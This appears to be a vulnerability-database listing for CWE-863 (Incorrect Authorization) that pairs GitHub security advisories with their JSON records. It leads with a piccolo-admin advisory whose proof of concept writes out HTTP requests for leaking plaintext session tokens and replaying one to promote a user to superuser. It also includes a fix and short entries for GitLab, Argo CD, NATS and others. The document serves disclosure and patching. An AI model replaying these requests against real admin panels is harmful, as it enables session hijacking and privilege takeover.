GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

6633 vulnerabilities reference this CWE, most recent first.

GHSA-2GH4-JMWQ-RR8W

Vulnerability from github – Published: 2026-08-28 18:14 – Updated: 2026-08-28 18:14
VLAI
Summary
piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/.
Details

Summary

piccolo_admin uses a helper called superuser_validators to gate access to the user and session tables for non-superusers. The helper rejects PUT, PATCH, DELETE, and POST, but does not reject GET.

The sessions table stores live session tokens in plaintext, and the token column is not marked secret=True, so it is included in every GET response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own Cookie: id=…, impersonate that user (including the superuser), and then permanently self-promote by writing superuser = true on their own row.

The chain is reachable on a realistic, documented configuration: a deployer adds the Sessions (and User) tables to create_admin([...]) so superusers have a UI to monitor and revoke sessions.

Affected component

  • File: piccolo_admin/endpoints.py
  • Function: superuser_validators (around line 419)
def superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):
    user: BaseUser = request.user.user
    if not user.superuser:
        if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]:
            raise HTTPException(
                detail="Only superusers can perform these actions.",
                status_code=405,
            )

The method check is a deny-list instead of an allow-list; GET is absent. Compounding the issue, SessionsBase.token in piccolo_api/session_auth/tables.py is a Varchar without secret=True, so the default exclude_secrets=True in PiccoloCRUD does not strip it.

Preconditions

  1. Network reachability to the admin.
  2. Valid credentials for a non-superuser admin (admin=True, superuser=False — the default role created by BaseUser.create_user(admin=True)).
  3. The deployment includes the Sessions table (and typically the User table) in create_admin([...]) — the documented pattern for "active sessions" management UIs.

Steps to reproduce

  1. Log in as the non-superuser admin (john / john123). Open the Piccolo User table and confirm john's SUPERUSER column is ✗. (See Screenshot 1.) 01-john-piccolo_user-list

  2. Attempt the target write directly. Send the following request:

```http PATCH /api/tables/piccolo_user/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=; csrftoken= X-CSRFToken:

{"superuser": true} ```

The server returns:

HTTP/1.1 405 {"detail":"Only superusers can perform these actions."}

The same response is shown both in the dashboard banner (Screenshot 2) and in Burp Repeater (Screenshot 3). This establishes the privilege boundary that the bug will break. 02-john-save-blocked-405 03-john-save-blocked-405

  1. Leak the credential. As the same john user, request:

http GET /api/tables/sessions/ HTTP/1.1 Host: target:8001 Cookie: id=<john's session>; csrftoken=<token>

Response: 200 OK containing every active session in plaintext, e.g.

json {"rows":[ {"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...}, {"token":"...","user_id":2, ...}, ... ]}

Copy the token value of any row whose user_id matches the superuser. That string IS the live session cookie of that user. (Screenshot 4.) 04-john-sees-all-session-tokens

  1. Replay the step-2 PATCH with the stolen cookie. Send the exact same request as step 2, changing only the Cookie: id= value to the stolen token:

```http PATCH /api/tables/piccolo_user/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken= X-CSRFToken:

{"superuser": true} ```

Response: 200 OK, body shows "superuser": true for john. (Screenshot 5.) 05-john-self-promote

  1. Verify persistence. Log in fresh as john / john123 (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row.

Impact

Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:

  • read/write/delete any row in any table the admin exposes;
  • revoke any other session, locking out other admins;
  • change any user's password;
  • export data (including via the bulk CSV download forms);
  • plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.

Persistence is automatic — once the attacker writes superuser=true on their own row in step 4, the stolen cookie can be discarded.

Suggested fix

Primary (single-line): make superuser_validators reject all requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context:

def superuser_validators(piccolo_crud, request):
    if not request.user.user.superuser:
        raise HTTPException(
            status_code=403,
            detail="Only superusers can access this resource.",
        )

Defence in depth: in piccolo_api/session_auth/tables.py, mark SessionsBase.token with secret=True. The existing exclude_secrets=True default on PiccoloCRUD then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.

Severity

CVSS 3.1: 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Reasoning: - AV:N — accessible over the network. - AC:L — single GET; no race or timing dependency. - PR:L — requires non-superuser admin credentials (the default admin role). - UI:N — no victim interaction needed. - S:U — scope kept Unchanged to be conservative; some auditors may prefer S:C (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate. - C:H / I:H / A:H — full read, full write, full availability impact on the admin's data and on other users' sessions.

Weaknesses

  • CWE-269 Improper Privilege Management (primary)
  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
  • CWE-863 Incorrect Authorization

Notes for the maintainer

  • The vulnerability is reachable on any version where superuser_validators uses a method deny-list and SessionsBase.token is not secret=True. I tested against piccolo_admin 1.13.0 + piccolo_api 1.9.0.
  • The shipped admin_demo does not expose the Sessions table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions) configuration, which mirrors the documented "Sessions admin view" pattern.
  • I'm happy to coordinate disclosure timing and validate any candidate patch.
Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.13.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "piccolo-admin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:14:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`piccolo_admin` uses a helper called `superuser_validators` to gate access to the user and session tables for non-superusers. The helper rejects `PUT`, `PATCH`, `DELETE`, and `POST`, but **does not reject `GET`**.\n\nThe `sessions` table stores live session tokens **in plaintext**, and the token column is not marked `secret=True`, so it is included in every `GET` response. Any non-superuser admin can therefore list every other user\u0027s live session token with one request, replay the token as their own `Cookie: id=\u2026`, impersonate that user (including the superuser), and then permanently self-promote by writing `superuser = true` on their own row.\n\nThe chain is reachable on a realistic, documented configuration: a deployer adds the `Sessions` (and `User`) tables to `create_admin([...])` so superusers have a UI to monitor and revoke sessions.\n\n## Affected component\n\n- **File**: `piccolo_admin/endpoints.py`\n- **Function**: `superuser_validators` (around line 419)\n\n```python\ndef superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):\n    user: BaseUser = request.user.user\n    if not user.superuser:\n        if request.method.upper() in [\"PUT\", \"PATCH\", \"DELETE\", \"POST\"]:\n            raise HTTPException(\n                detail=\"Only superusers can perform these actions.\",\n                status_code=405,\n            )\n```\n\nThe method check is a **deny-list** instead of an **allow-list**; `GET` is absent. Compounding the issue, `SessionsBase.token` in `piccolo_api/session_auth/tables.py` is a `Varchar` without `secret=True`, so the default `exclude_secrets=True` in `PiccoloCRUD` does not strip it.\n\n## Preconditions\n\n1. Network reachability to the admin.\n2. Valid credentials for a non-superuser admin (`admin=True, superuser=False` \u2014 the default role created by `BaseUser.create_user(admin=True)`).\n3. The deployment includes the `Sessions` table (and typically the `User` table) in `create_admin([...])` \u2014 the documented pattern for \"active sessions\" management UIs.\n\n## Steps to reproduce\n\n1. **Log in as the non-superuser admin** (`john / john123`). Open the *Piccolo User* table and confirm john\u0027s `SUPERUSER` column is **\u2717**. *(See Screenshot 1.)*\n\u003cimg width=\"3024\" height=\"1430\" alt=\"01-john-piccolo_user-list\" src=\"https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9\" /\u003e\n\n2. **Attempt the target write directly.** Send the following request:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=\u003cjohn\u0027s session\u003e; csrftoken=\u003ctoken\u003e\n   X-CSRFToken: \u003ctoken\u003e\n\n   {\"superuser\": true}\n   ```\n\n   The server returns:\n\n   ```\n   HTTP/1.1 405\n   {\"detail\":\"Only superusers can perform these actions.\"}\n   ```\n\n   The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break.\n\u003cimg width=\"3024\" height=\"2158\" alt=\"02-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0\" /\u003e\n\u003cimg width=\"1213\" height=\"713\" alt=\"03-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702\" /\u003e\n\n3. **Leak the credential.** As the same john user, request:\n\n   ```http\n   GET /api/tables/sessions/ HTTP/1.1\n   Host: target:8001\n   Cookie: id=\u003cjohn\u0027s session\u003e; csrftoken=\u003ctoken\u003e\n   ```\n\n   Response: `200 OK` containing every active session in plaintext, e.g.\n\n   ```json\n   {\"rows\":[\n     {\"token\":\"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE\",\"user_id\":1, ...},\n     {\"token\":\"...\",\"user_id\":2, ...},\n     ...\n   ]}\n   ```\n\n   Copy the `token` value of any row whose `user_id` matches the superuser. **That string IS the live session cookie of that user.** *(Screenshot 4.)*\n\u003cimg width=\"1512\" height=\"850\" alt=\"04-john-sees-all-session-tokens\" src=\"https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529\" /\u003e\n\n4. **Replay the step-2 PATCH with the stolen cookie.** Send the exact same request as step 2, changing only the `Cookie: id=` value to the stolen token:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=\u003ctoken\u003e\n   X-CSRFToken: \u003ctoken\u003e\n\n   {\"superuser\": true}\n   ```\n\n   Response: `200 OK`, body shows `\"superuser\": true` for john. *(Screenshot 5.)*\n\u003cimg width=\"1213\" height=\"713\" alt=\"05-john-self-promote\" src=\"https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e\" /\u003e\n\n5. **Verify persistence.** Log in fresh as `john / john123` (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed \u2014 the elevation is permanent on john\u0027s own row.\n\n## Impact\n\nFull superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:\n\n- read/write/delete any row in any table the admin exposes;\n- revoke any other session, locking out other admins;\n- change any user\u0027s password;\n- export data (including via the bulk CSV download forms);\n- plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.\n\nPersistence is automatic \u2014 once the attacker writes `superuser=true` on their own row in step 4, the stolen cookie can be discarded.\n\n## Suggested fix\n\n**Primary (single-line):** make `superuser_validators` reject **all** requests from non-superusers \u2014 there is no legitimate non-superuser use case for the user or session tables in this context:\n\n```python\ndef superuser_validators(piccolo_crud, request):\n    if not request.user.user.superuser:\n        raise HTTPException(\n            status_code=403,\n            detail=\"Only superusers can access this resource.\",\n        )\n```\n\n**Defence in depth:** in `piccolo_api/session_auth/tables.py`, mark `SessionsBase.token` with `secret=True`. The existing `exclude_secrets=True` default on `PiccoloCRUD` then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.\n\n## Severity\n\n**CVSS 3.1: 8.8 HIGH** \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\nReasoning:\n- **AV:N** \u2014 accessible over the network.\n- **AC:L** \u2014 single GET; no race or timing dependency.\n- **PR:L** \u2014 requires non-superuser admin credentials (the default admin role).\n- **UI:N** \u2014 no victim interaction needed.\n- **S:U** \u2014 scope kept Unchanged to be conservative; some auditors may prefer `S:C` (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.\n- **C:H / I:H / A:H** \u2014 full read, full write, full availability impact on the admin\u0027s data and on other users\u0027 sessions.\n\n## Weaknesses\n\n- **CWE-269** Improper Privilege Management *(primary)*\n- **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor\n- **CWE-863** Incorrect Authorization\n\n## Notes for the maintainer\n\n- The vulnerability is reachable on any version where `superuser_validators` uses a method deny-list and `SessionsBase.token` is not `secret=True`. I tested against `piccolo_admin 1.13.0` + `piccolo_api 1.9.0`.\n- The shipped `admin_demo` does not expose the `Sessions` table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal `create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)` configuration, which mirrors the documented \"Sessions admin view\" pattern.\n- I\u0027m happy to coordinate disclosure timing and validate any candidate patch.",
  "id": "GHSA-2gh4-jmwq-rr8w",
  "modified": "2026-08-28T18:14:13Z",
  "published": "2026-08-28T18:14:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/security/advisories/GHSA-2gh4-jmwq-rr8w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/pull/331"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/commit/96ddae12baf12288056cbb0cda6f9e8d7e22c86d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/commit/520ec2567ae1d2cc417c8c0d1ad0ddc05549a8a4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/piccolo-orm/piccolo_admin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/releases/tag/1.14.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/releases/tag/1.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/."
}

GHSA-2GJQ-2933-HPJG

Vulnerability from github – Published: 2025-03-13 06:30 – Updated: 2025-03-13 06:30
VLAI
Details

An issue was discovered in GitLab EE affecting all versions from 16.5 prior to 17.7.7, 17.8 prior to 17.8.5, and 17.9 prior to 17.9.2 which allowed a user with a custom permission to approve pending membership requests beyond the maximum number of allowed users.

Severity
2.7 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-7296"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-13T06:15:35Z",
    "severity": "LOW"
  },
  "details": "An issue was discovered in GitLab EE affecting all versions from 16.5 prior to 17.7.7, 17.8 prior to 17.8.5, and 17.9 prior to 17.9.2  which allowed a user with a custom permission to approve pending membership requests beyond the maximum number of allowed users.",
  "id": "GHSA-2gjq-2933-hpjg",
  "modified": "2025-03-13T06:30:35Z",
  "published": "2025-03-13T06:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7296"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2602274"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/475056"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2GP6-V2J8-WM92

Vulnerability from github – Published: 2023-04-11 18:30 – Updated: 2024-04-04 03:24
VLAI
Details

A incorrect authorization in Fortinet FortiClient (Windows) 7.0.0 - 7.0.7, 6.4.0 - 6.4.9, 6.2.0 - 6.2.9 and 6.0.0 - 6.0.10 allows an attacker to execute unauthorized code or commands via sending a crafted request to a specific named pipe.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-40682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-11T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "A incorrect authorization in Fortinet FortiClient (Windows) 7.0.0 - 7.0.7, 6.4.0 - 6.4.9, 6.2.0 - 6.2.9 and 6.0.0 - 6.0.10 allows an attacker to execute unauthorized code or commands via sending a crafted request to a specific named pipe.",
  "id": "GHSA-2gp6-v2j8-wm92",
  "modified": "2024-04-04T03:24:23Z",
  "published": "2023-04-11T18:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40682"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/psirt/FG-IR-22-336"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2GR2-XJJ5-Q4FF

Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42
VLAI
Details

Dell EMC Avamar Server, versions 19.3 and 19.4 contain an Improper Authorization vulnerability in the web UI. A remote low privileged attacker could potentially exploit this vulnerability, to gain unauthorized read or modification access to other users' backup data.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-21511"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-15T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "Dell EMC Avamar Server, versions 19.3 and 19.4 contain an Improper Authorization vulnerability in the web UI. A remote low privileged attacker could potentially exploit this vulnerability, to gain unauthorized read or modification access to other users\u0027 backup data.",
  "id": "GHSA-2gr2-xjj5-q4ff",
  "modified": "2022-05-24T17:42:15Z",
  "published": "2022-05-24T17:42:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21511"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000182926/dsa-2021-033-dell-emc-avamar-server-improper-authorization-vulnerability"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2GVW-W6FJ-7M3C

Vulnerability from github – Published: 2024-04-15 20:20 – Updated: 2024-04-15 21:37
VLAI
Summary
Argo CD's API server does not enforce project sourceNamespaces
Details

Impact

I can convince the UI to let me do things with an invalid Application. 1. Admin gives me p, michael, applications, *, demo/*, allow, where demo can just deploy to the demo namespace 2. Admin gives me AppProject dev which reconciles from ns dev-apps 3. Admin gives me p, michael, applications, sync, dev/*, allow, i.e. no updating via the UI allowed, gitops-only 4. I create an Application called pwn in dev-apps with project dev and sync the app with sources from git 5. I change the Application’s project to demo via kubectl or gitops (whichever mechanism my admins have given me, because it should be safe) 6. I use the UI to edit the resource which should only be mutable via gitops

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.10.7 v2.9.12 v2.8.16

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Credits

This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.8.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            },
            {
              "fixed": "2.9.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-31990"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-15T20:20:50Z",
    "nvd_published_at": "2024-04-15T20:15:11Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nI can convince the UI to let me do things with an invalid Application.\n1. Admin gives me `p, michael, applications, *, demo/*, allow`, where `demo` can just deploy to the `demo` namespace\n2. Admin gives me AppProject `dev` which reconciles from ns `dev-apps`\n3. Admin gives me `p, michael, applications, sync, dev/*, allow`, i.e. no updating via the UI allowed, gitops-only\n4. I create an Application called `pwn` in `dev-apps` with project dev and sync the app with sources from git\n5. I change the Application\u2019s project to demo via kubectl or gitops (whichever mechanism my admins have given me, because it should be safe)\n6. I use the UI to edit the resource which should only be mutable via gitops\n\n### Patches\nA patch for this vulnerability has been released in the following Argo CD versions:\n\nv2.10.7 \nv2.9.12 \nv2.8.16\n\n### For more information\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\nJoin us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\nThis vulnerability was found \u0026 reported by @crenshaw-dev (Michael Crenshaw)\n\nThe Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue\n",
  "id": "GHSA-2gvw-w6fj-7m3c",
  "modified": "2024-04-15T21:37:22Z",
  "published": "2024-04-15T20:20:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-2gvw-w6fj-7m3c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31990"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/commit/c514105af739eebedb9dbe89d8a6dd8dfc30bb2c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/commit/c5a252c4cc260e240e2074794aedb861d07e9ca5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/commit/e0ff56d89fbd7d066e9c862b30337f6520f13f17"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Argo CD\u0027s API server does not enforce project sourceNamespaces"
}

GHSA-2GWC-3C7P-CJFQ

Vulnerability from github – Published: 2023-06-02 15:30 – Updated: 2024-04-04 04:29
VLAI
Details

Incorrect Authorization vulnerability in Mobatime web application allows Privilege Escalation, Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Mobatime web application: through 06.7.22.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-3033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-02T13:15:10Z",
    "severity": "HIGH"
  },
  "details": "Incorrect Authorization vulnerability in Mobatime web application allows Privilege Escalation, Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Mobatime web application: through 06.7.22.\n\n",
  "id": "GHSA-2gwc-3c7p-cjfq",
  "modified": "2024-04-04T04:29:01Z",
  "published": "2023-06-02T15:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3033"
    },
    {
      "type": "WEB",
      "url": "https://borelenzo.github.io/stuff/2023/06/01/cve-2023-3033.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H2X-8HH2-MFQ8

Vulnerability from github – Published: 2024-07-11 21:31 – Updated: 2024-10-30 18:50
VLAI
Summary
NATS Server and Streaming Server fails to enforce negative user permissions, may allow denied subjects
Details

NATS.io NATS Server before 2.8.2 and Streaming Server before 0.24.6 could allow a remote attacker to bypass security restrictions, caused by the failure to enforce negative user permissions in one scenario. By using a queue subscription on the wildcard, an attacker could exploit this vulnerability to allow denied subjects.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nats-io/nats-server/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nats-io/nats-streaming-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-29946"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-12T14:01:30Z",
    "nvd_published_at": "2024-07-11T21:15:10Z",
    "severity": "HIGH"
  },
  "details": "NATS.io NATS Server before 2.8.2 and Streaming Server before 0.24.6 could allow a remote attacker to bypass security restrictions, caused by the failure to enforce negative user permissions in one scenario. By using a queue subscription on the wildcard, an attacker could exploit this vulnerability to allow denied subjects.",
  "id": "GHSA-2h2x-8hh2-mfq8",
  "modified": "2024-10-30T18:50:03Z",
  "published": "2024-07-11T21:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29946"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-2h2x-8hh2-mfq8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nats-io/advisories/blob/main/CVE/CVE-2022-29946.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NATS Server and Streaming Server fails to enforce negative user permissions, may allow denied subjects"
}

GHSA-2H75-RWG4-WVHQ

Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2024-04-04 01:55
VLAI
Details

On STMicroelectronics STM32L0, STM32L1, STM32L4, STM32F4, STM32F7, and STM32H7 devices, Proprietary Code Read Out Protection (PCROP) (a software IP protection method) can be defeated by observing CPU registers and the effect of code/instruction execution.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-14236"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-12T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "On STMicroelectronics STM32L0, STM32L1, STM32L4, STM32F4, STM32F7, and STM32H7 devices, Proprietary Code Read Out Protection (PCROP) (a software IP protection method) can be defeated by observing CPU registers and the effect of code/instruction execution.",
  "id": "GHSA-2h75-rwg4-wvhq",
  "modified": "2024-04-04T01:55:39Z",
  "published": "2022-05-24T16:56:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14236"
    },
    {
      "type": "WEB",
      "url": "https://www.usenix.org/system/files/woot19-paper_schink.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H84-3CRQ-VGFJ

